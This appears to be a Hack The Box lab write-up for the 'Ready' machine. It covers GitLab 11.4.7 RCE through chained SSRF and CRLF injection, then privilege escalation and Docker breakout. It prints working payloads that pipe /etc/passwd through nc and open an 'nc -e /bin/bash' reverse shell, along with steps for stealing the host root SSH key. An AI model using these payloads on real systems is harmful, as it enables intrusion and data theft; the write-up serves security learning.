Hack The Box — Ready Writeup

Ready is a medium difficulty Linux machine from Hack The Box that features a self-hosted GitLab instance which is vulnerable to a remote code execution by chaining two CVEs. And that allows me to gain a foothold on a container. Enumerating inside the container finds a password that is reused by the container root account. The container is found to be running in privileged mode, and this can be exploited by mounting the host’s drive (the Linux filesystem) to the container.

Raw notes available on my GitHub.



All ports scan with nmap discovers two open ports: SSH on port 22, and a HTTP web server on port 5080

nmap -p- -sV --reason -oA nmap/10-initial-ready

After performing a default script scan, it shows there’s a GitLab instance on port 5080.

nmap -p22,5080 -sC -sV --reason -oA nmap/10-default-ready


TCP 80 — GitLab

The page displays a self-hosted GitLab Community Edition.

I can register with any email domain.

The GitLab version can be seen by visiting/help, and it seems to be an outdated one.

I’ll take a note on the version.

—:: searchsploit

I can feed the GitLab version to searchsploit, and it returns with two exploits that match with the version.

searchsploit GitLab 11.4.7


Gitlab 11.4.7 RCE (CVE-2018–19571 & CVE-2018–19585)

The RCE exploit that was popped on searchsploit above is consist of two vulnerabilities, SSRF (CVE-2018-19571) and CRLF Injection (CVE-2018-19585). The exploit’s author uses the LifeOverFlow’s blog post as reference, and so I decided to read that blog and try to reproduce it here.

With SSRF, you can talk with the internal Redis server on port 6379 that used by GitLab as database, cache and message broker. If there is an HTTP request sent to the Redis server using SSRF, the request would read as follows (# ==> is a comment by me):

GET blablabla HTTP/1.1 # ==> Redis read this as a command
Host: [0:0:0:0:0:ffff:]:6379
User-Agent: git/2.18.1
Accept: */*
Accept-Encoding: deflate, gzip
Pragma: no-cache ​
- Err wrong number of arguments for 'get' command

The idea here is to use the CRLF Injection to insert a payload after the ‘GET’ line.

—:: Exploit PoC

For this, I’ll need BurpSuite turned on.

On GitLab, I’ll import a (non-exist) project and choose the “Repo by URL” menu.

I’ll be using the same SSRF payload to bypass the GitLab URL filter which is git://[0:0:0:0:0:ffff:]:6379/ and add my (non-exist) .git repository at the end of the URL, so it becomes: git://[0:0:0:0:0:ffff:]:6379/iamf/ssrf-test.git

The repository URL above is a special IPv6 address where its last 32 bits is used to embed the IPv4 address. The URL was used to bypass the SSRF protection defined in spec/lib/gitlab/url_blocker_spec.rb (patched in 11.4.8)

I’ll intercept the request after I hit the “Create Project” button, and then on BurpSuite, I’ll modify the import URL to this:

sadd resque:gitlab:queues system_hook_pushlpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /etc/passwd | nc 9000\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"exec

The HTTP request now looks like this:

After I hit the send button, my nc listener caught the file contents of /etc/passwd.

Here is the all in one image:

— :: Weaponize - Reverse Shell

From here, I’ll reproduce the step above, but this time I’ll send myself a shell. The payload as follows.

sadd resque:gitlab:queues system_hook_pushlpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|nc -e /bin/bash 9000\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"exec

On my nc listener:

I’ll do the ‘stty’ trick to upgrade my shell.

python3 -c 'import pty.pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm

On /home, there is only one user called dude, and I'm able to read the user flag there.

Privilege Escalation

Container Enumeration

I found a .dockerenv on the root directory which indicates that I'm inside container, and there is also a file called root_pass.

The content of root_pass is a random string, which I think it is a password. I tried it to the user and root account but it didn't work.

git@gitlab:/opt/backup$ cat /root_pass 

Exploring on /opt, I found a folder called backup. The folder contains three files: docker-compose.yml, gitlab-secrets.json and gitlab.rb.

Upon performing a recursive grep to search for files containing a “pass” string inside the folder, I discovered an SMTP password on gitlab.rb.

git@gitlab:/opt/backup$ grep -Ri "pass"

Looking into docker-compose.yml, I see a potential vector for container breakout.

SU — root (container)

The password wW59U!ZKMbG9+*#h works on the container root account.

git@gitlab:/opt/gitlab$ su root
Password: wW59U!ZKMbG9+*#h
root@gitlab:/opt/gitlab# id
uid=0(root) gid=0(root) groups=0(root)

Docker Breakout

Based on the docker-compose.yml file, I suspect the container is running with privileged flag. According to my favorite blog, which is BookHackTrick, a container with privileged flag will have access to the host devices.

Although, --privileged gives all the Linux capabilities, I'll still check it manually to make sure I have access to the host devices.

root@gitlab:/opt/gitlab# capsh --print

There is a CAP_SYS_ADMIN! With this capability, I'm able to mount the host devices and make it available on the container.

— :: Mount the host file system

I can list all the host devices with fdisk -l.

Now I can simply mount the Linux filesystem (/dev/sda2) to my specified folder.

The root user of the host has SSH keys, I’ll grab only the private key to my machine.

SSH Access as root (host)

After changing the key permissions to 600, I can login as root user.

ssh -i root_rsa root@

I can also grab the root flag.

Originally published at: https://fahmifj.github.io/writeups/hackthebox/htb-ready/

Always curious to learn how things work, especially in digital world